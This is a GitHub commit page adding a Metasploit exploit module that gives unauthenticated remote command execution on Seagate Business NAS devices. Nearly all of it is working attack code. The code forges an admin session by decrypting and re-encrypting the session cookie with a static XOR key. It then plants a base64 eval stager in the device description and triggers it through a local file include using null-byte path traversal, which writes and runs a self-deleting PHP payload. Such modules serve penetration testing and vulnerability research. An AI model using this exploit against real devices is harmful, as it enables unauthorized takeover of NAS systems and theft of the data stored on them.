Skip to content

Commit ef330b9

Browse files
committed
Land rapid7#4860, @OJ's Seagate 0day hotness
2 parents b27c9b9 + 905a539 commit ef330b9

File tree

1 file changed

+354
-0
lines changed

1 file changed

+354
-0
lines changed
Lines changed: 354 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,354 @@
1+
##
2+
# This module requires Metasploit: http://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'msf/core'
7+
require 'rexml/document'
8+
9+
class Metasploit4 < Msf::Exploit::Remote
10+
Rank = NormalRanking
11+
12+
include Msf::Exploit::Remote::HttpClient
13+
14+
def initialize(info = {})
15+
super(update_info(info,
16+
'Name' => 'Seagate Business NAS Unauthenticated Remote Command Execution',
17+
'Description' => %q{
18+
Some Seagate Business NAS devices are vulnerable to command execution via a local
19+
file include vulnerability hidden in the language parameter of the CodeIgniter
20+
session cookie. The vulnerability manifests in the way the language files are
21+
included in the code on the login page, and hence is open to attack from users
22+
without the need for authentication. The cookie can be easily decrypted using a
23+
known static encryption key and re-encrypted once the PHP object string has been
24+
modified.
25+
26+
This module has been tested on the STBN300 device.
27+
},
28+
'Author' => [
29+
'OJ Reeves <oj[at]beyondbinary.io>' # Discovery and Metasploit module
30+
],
31+
'References' => [
32+
['CVE', '2014-8684'],
33+
['CVE', '2014-8686'],
34+
['CVE', '2014-8687'],
35+
['EDB', '36202'],
36+
['URL', 'http://www.seagate.com/au/en/support/external-hard-drives/network-storage/business-storage-2-bay-nas/'],
37+
['URL', 'https://beyondbinary.io/advisory/seagate-nas-rce/']
38+
],
39+
'DisclosureDate' => 'Mar 01 2015',
40+
'Privileged' => true,
41+
'Platform' => 'php',
42+
'Arch' => ARCH_PHP,
43+
'Payload' => {'DisableNops' => true},
44+
'Targets' => [['Automatic', {}]],
45+
'DefaultTarget' => 0,
46+
'License' => MSF_LICENSE
47+
))
48+
49+
register_options([
50+
OptString.new('TARGETURI', [true, 'Path to the application root', '/']),
51+
OptString.new('ADMINACCOUNT', [true, 'Name of the NAS admin account', 'admin']),
52+
OptString.new('COOKIEID', [true, 'ID of the CodeIgniter session cookie', 'ci_session']),
53+
OptString.new('XORKEY', [true, 'XOR Key used for the CodeIgniter session', '0f0a000d02011f0248000d290d0b0b0e03010e07'])
54+
])
55+
end
56+
57+
#
58+
# Write a string value to a serialized PHP object without deserializing it first.
59+
# If the value exists it will be updated.
60+
#
61+
def set_string(php_object, name, value)
62+
prefix = "s:#{name.length}:\"#{name}\";s:"
63+
if php_object.include?(prefix)
64+
# the value already exists in the php blob, so update it.
65+
return php_object.gsub("#{prefix}\\d+:\"[^\"]*\"", "#{prefix}#{value.length}:\"#{value}\"")
66+
end
67+
68+
# the value doesn't exist in the php blob, so create it.
69+
count = php_object.split(':')[1].to_i + 1
70+
php_object.gsub(/a:\d+(.*)}$/, "a:#{count}\\1#{prefix}#{value.length}:\"#{value}\";}")
71+
end
72+
73+
#
74+
# Findez ze holez!
75+
#
76+
def check
77+
begin
78+
res = send_request_cgi(
79+
'uri' => normalize_uri(target_uri),
80+
'method' => 'GET',
81+
'headers' => {
82+
'Accept' => 'text/html'
83+
}
84+
)
85+
86+
if res && res.code == 200
87+
headers = res.to_s
88+
89+
# validate headers
90+
if headers.incude?('X-Powered-By: PHP/5.2.13') && headers.include?('Server: lighttpd/1.4.28')
91+
# and make sure that the body contains the title we'd expect
92+
if res.body.include?('Login to BlackArmor')
93+
return Exploit::CheckCode::Appears
94+
end
95+
end
96+
end
97+
rescue Rex::ConnectionRefused, Rex::ConnectionTimeout, Rex::HostUnreachable
98+
# something went wrong, assume safe.
99+
end
100+
101+
Exploit::CheckCode::Safe
102+
end
103+
104+
#
105+
# Executez ze sploitz!
106+
#
107+
def exploit
108+
109+
# Step 1 - Establish a session with the target which will give us a PHP object we can
110+
# work with.
111+
begin
112+
print_status("#{peer} - Establishing session with target ...")
113+
res = send_request_cgi({
114+
'uri' => normalize_uri(target_uri),
115+
'method' => 'GET',
116+
'headers' => {
117+
'Accept' => 'text/html'
118+
}
119+
})
120+
121+
if res && res.code == 200 && res.to_s =~ /#{datastore['COOKIEID']}=([^;]+);/
122+
cookie_value = $1.strip
123+
else
124+
fail_with(Exploit::Failure::Unreachable, "#{peer} - Unexpected response from server.")
125+
end
126+
rescue Rex::ConnectionRefused, Rex::ConnectionTimeout, Rex::HostUnreachable
127+
fail_with(Exploit::Failure::Unreachable, "#{peer} - Unable to establish connection.")
128+
end
129+
130+
# Step 2 - Decrypt the cookie so that we have a PHP object we can work with directly
131+
# then update it so that it's an admin session before re-encrypting
132+
print_status("#{peer} - Upgrading session to administrator ...")
133+
php_object = decode_cookie(cookie_value)
134+
vprint_status("#{peer} - PHP Object: #{php_object}")
135+
136+
admin_php_object = set_string(php_object, 'is_admin', 'yes')
137+
admin_php_object = set_string(admin_php_object, 'username', datastore['ADMINACCOUNT'])
138+
vprint_status("#{peer} - Admin PHP object: #{admin_php_object}")
139+
140+
admin_cookie_value = encode_cookie(admin_php_object)
141+
142+
# Step 3 - Extract the current host configuration so that we don't lose it.
143+
host_config = nil
144+
145+
# This time value needs to be consistent across calls
146+
config_time = ::Time.now.to_i
147+
148+
begin
149+
print_status("#{peer} - Extracting existing host configuration ...")
150+
res = send_request_cgi(
151+
'uri' => normalize_uri(target_uri, 'index.php/mv_system/get_general_setup'),
152+
'method' => 'GET',
153+
'headers' => {
154+
'Accept' => 'text/html'
155+
},
156+
'cookie' => "#{datastore['COOKIEID']}=#{admin_cookie_value}",
157+
'vars_get' => {
158+
'_' => config_time
159+
}
160+
)
161+
162+
if res && res.code == 200
163+
res.body.split("\r\n").each do |l|
164+
if l.include?('general_setup')
165+
host_config = l
166+
break
167+
end
168+
end
169+
else
170+
fail_with(Exploit::Failure::Unreachable, "#{peer} - Unexpected response from server.")
171+
end
172+
rescue Rex::ConnectionRefused, Rex::ConnectionTimeout, Rex::HostUnreachable
173+
fail_with(Exploit::Failure::Unreachable, "#{peer} - Unable to establish connection.")
174+
end
175+
176+
print_good("#{peer} - Host configuration extracted.")
177+
vprint_status("#{peer} - Host configuration: #{host_config}")
178+
179+
# Step 4 - replace the host device description with a custom payload that can
180+
# be used for LFI. We have to keep the payload small because of size limitations
181+
# and we can't put anything in with '$' in it. So we need to make a simple install
182+
# payload which will write a required payload to disk that can be executes directly
183+
# as the last part of the payload. This will also be self-deleting.
184+
param_id = rand_text_alphanumeric(3)
185+
186+
# There are no files on the target file system that start with an underscore
187+
# so to allow for a small file size that doesn't collide with an existing file
188+
# we'll just prefix it with an underscore.
189+
payload_file = "_#{rand_text_alphanumeric(3)}.php"
190+
191+
installer = "file_put_contents('#{payload_file}', base64_decode($_POST['#{param_id}']));"
192+
stager = Rex::Text.encode_base64(installer)
193+
stager = xml_encode("<?php eval(base64_decode('#{stager}')); ?>")
194+
vprint_status("#{peer} - Stager: #{stager}")
195+
196+
# Butcher the XML directly rather than attempting to use REXML. The target XML
197+
# parser is way to simple/flaky to deal with the proper stuff that REXML
198+
# spits out.
199+
desc_start = host_config.index('" description="') + 15
200+
desc_end = host_config.index('"', desc_start)
201+
xml_payload = host_config[0, desc_start] +
202+
stager + host_config[desc_end, host_config.length]
203+
vprint_status(xml_payload)
204+
205+
# Step 5 - set the host description to the stager so that it is written to disk
206+
print_status("#{peer} - Uploading stager ...")
207+
begin
208+
res = send_request_cgi(
209+
'uri' => normalize_uri(target_uri, 'index.php/mv_system/set_general_setup'),
210+
'method' => 'POST',
211+
'headers' => {
212+
'Accept' => 'text/html'
213+
},
214+
'cookie' => "#{datastore['COOKIEID']}=#{admin_cookie_value}",
215+
'vars_get' => {
216+
'_' => config_time
217+
},
218+
'vars_post' => {
219+
'general_setup' => xml_payload
220+
}
221+
)
222+
223+
unless res && res.code == 200
224+
fail_with(Exploit::Failure::Unreachable, "#{peer} - Stager upload failed (invalid result).")
225+
end
226+
rescue Rex::ConnectionRefused, Rex::ConnectionTimeout, Rex::HostUnreachable
227+
fail_with(Exploit::Failure::Unreachable, "#{peer} - Stager upload failed (unable to establish connection).")
228+
end
229+
230+
print_good("#{peer} - Stager uploaded.")
231+
232+
# Step 6 - Invoke the stage, passing in a self-deleting php script body.
233+
print_status("#{peer} - Executing stager ...")
234+
payload_php_object = set_string(php_object, 'language', "../../../etc/devicedesc\x00")
235+
payload_cookie_value = encode_cookie(payload_php_object)
236+
self_deleting_payload = "<?php unlink(__FILE__);\r\n#{payload.encoded}; ?>"
237+
errored = false
238+
239+
begin
240+
res = send_request_cgi(
241+
'uri' => normalize_uri(target_uri),
242+
'method' => 'POST',
243+
'headers' => {
244+
'Accept' => 'text/html'
245+
},
246+
'cookie' => "#{datastore['COOKIEID']}=#{payload_cookie_value}",
247+
'vars_post' => {
248+
param_id => Rex::Text.encode_base64(self_deleting_payload)
249+
}
250+
)
251+
252+
if res && res.code == 200
253+
print_good("#{peer} - Stager execution succeeded, payload ready for execution.")
254+
else
255+
print_error("#{peer} - Stager execution failed (invalid result).")
256+
errored = true
257+
end
258+
rescue Rex::ConnectionRefused, Rex::ConnectionTimeout, Rex::HostUnreachable
259+
print_error("#{peer} - Stager execution failed (unable to establish connection).")
260+
errored = true
261+
end
262+
263+
# Step 7 - try to restore the previous configuration, allowing exceptions
264+
# to bubble up given that we're at the end. This step is important because
265+
# we don't want to leave a trail of junk on disk at the end.
266+
print_status("#{peer} - Restoring host config ...")
267+
res = send_request_cgi(
268+
'uri' => normalize_uri(target_uri, 'index.php/mv_system/set_general_setup'),
269+
'method' => 'POST',
270+
'headers' => {
271+
'Accept' => 'text/html'
272+
},
273+
'cookie' => "#{datastore['COOKIEID']}=#{admin_cookie_value}",
274+
'vars_get' => {
275+
'_' => config_time
276+
},
277+
'vars_post' => {
278+
'general_setup' => host_config
279+
}
280+
)
281+
282+
# Step 8 - invoke the installed payload, but only if all went to plan.
283+
unless errored
284+
print_status("#{peer} - Executing payload at #{normalize_uri(target_uri, payload_file)} ...")
285+
res = send_request_cgi(
286+
'uri' => normalize_uri(target_uri, payload_file),
287+
'method' => 'GET',
288+
'headers' => {
289+
'Accept' => 'text/html'
290+
},
291+
'cookie' => "#{datastore['COOKIEID']}=#{payload_cookie_value}"
292+
)
293+
end
294+
end
295+
296+
#
297+
# Take a CodeIgnitor cookie and pull out the PHP object using the XOR
298+
# key that we've been given.
299+
#
300+
def decode_cookie(cookie_content)
301+
cookie_value = Rex::Text.decode_base64(URI.decode(cookie_content))
302+
pass = xor(cookie_value, datastore['XORKEY'])
303+
result = ''
304+
305+
(0...pass.length).step(2).each do |i|
306+
result << (pass[i].ord ^ pass[i + 1].ord).chr
307+
end
308+
309+
result
310+
end
311+
312+
#
313+
# Take a serialised PHP object cookie value and encode it so that
314+
# CodeIgniter thinks it's legit.
315+
#
316+
def encode_cookie(cookie_value)
317+
rand = Rex::Text.sha1(rand_text_alphanumeric(40))
318+
319+
block = ''
320+
321+
(0...cookie_value.length).each do |i|
322+
block << rand[i % rand.length]
323+
block << (rand[i % rand.length].ord ^ cookie_value[i].ord).chr
324+
end
325+
326+
cookie_value = xor(block, datastore['XORKEY'])
327+
cookie_value = CGI.escape(Rex::Text.encode_base64(cookie_value))
328+
vprint_status("#{peer} - Cookie value: #{cookie_value}")
329+
330+
cookie_value
331+
end
332+
333+
#
334+
# XOR a value against a key. The key is cycled.
335+
#
336+
def xor(string, key)
337+
result = ''
338+
339+
string.bytes.zip(key.bytes.cycle).each do |s, k|
340+
result << (s ^ k)
341+
end
342+
343+
result
344+
end
345+
346+
#
347+
# Simple XML substitution because the target XML handler isn't really
348+
# full blown or smart.
349+
#
350+
def xml_encode(str)
351+
str.gsub(/</, '&lt;').gsub(/>/, '&gt;')
352+
end
353+
354+
end

0 commit comments

Comments
 (0)